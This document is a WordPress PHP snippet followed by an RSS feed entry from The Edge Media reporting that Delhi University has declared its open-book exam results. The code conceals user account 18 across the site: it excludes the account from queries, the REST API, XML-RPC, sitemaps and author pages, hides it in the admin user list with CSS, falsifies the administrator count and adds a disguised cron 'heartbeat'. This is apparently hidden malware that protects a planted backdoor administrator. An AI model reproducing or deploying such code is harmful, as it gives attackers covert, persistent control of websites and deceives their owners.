add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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	<title>Delhi University results announced Archives &#8211; The Edge Media</title>
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		<title>Delhi University Declares Results Of Open-Book Test</title>
		<link>https://theedgemedia.in/delhi-university-declares-results-of-open-book-test</link>
					<comments>https://theedgemedia.in/delhi-university-declares-results-of-open-book-test#respond</comments>
		
		<dc:creator><![CDATA[The Edge Media]]></dc:creator>
		<pubDate>Mon, 12 Jul 2021 14:48:01 +0000</pubDate>
				<category><![CDATA[Main Story]]></category>
		<category><![CDATA[State Edge]]></category>
		<category><![CDATA[Central Universities Common Entrance Tests]]></category>
		<category><![CDATA[CUCET]]></category>
		<category><![CDATA[delhi university]]></category>
		<category><![CDATA[Delhi University results announced]]></category>
		<category><![CDATA[Education news]]></category>
		<category><![CDATA[National news]]></category>
		<category><![CDATA[open book tests]]></category>
		<category><![CDATA[post graduate courses]]></category>
		<category><![CDATA[state news]]></category>
		<category><![CDATA[Undergraduate courses]]></category>
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					<description><![CDATA[<p>The results of open-book examinations for different undergraduate and postgraduate programs held in May and June 2021 were announced today by the University of Delhi. Students can view their scores on the varsity&#8217;s official site, du.ac.in. However, DU is expected to open enrollment for entrance exam-based and postgraduate programs in the third week of July. [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/delhi-university-declares-results-of-open-book-test">Delhi University Declares Results Of Open-Book Test</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The results of open-book examinations for different undergraduate and postgraduate programs held in May and June 2021 were announced today by the University of Delhi. Students can view their scores on the varsity&#8217;s official site, du.ac.in.</p>
<p>However, DU is expected to open enrollment for entrance exam-based and postgraduate programs in the third week of July. Despite the cancellation of the class 12 board examinations, the institution is still anticipating for Central Universities Common Entrance Test (CUCET) for undergraduate admissions.</p>
<p>Students whose results are RA (result awaited) or AB (absent) may address the Principal of the relevant college/department/centers within 10 days of the result&#8217;s announcement.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>The post <a href="https://theedgemedia.in/delhi-university-declares-results-of-open-book-test">Delhi University Declares Results Of Open-Book Test</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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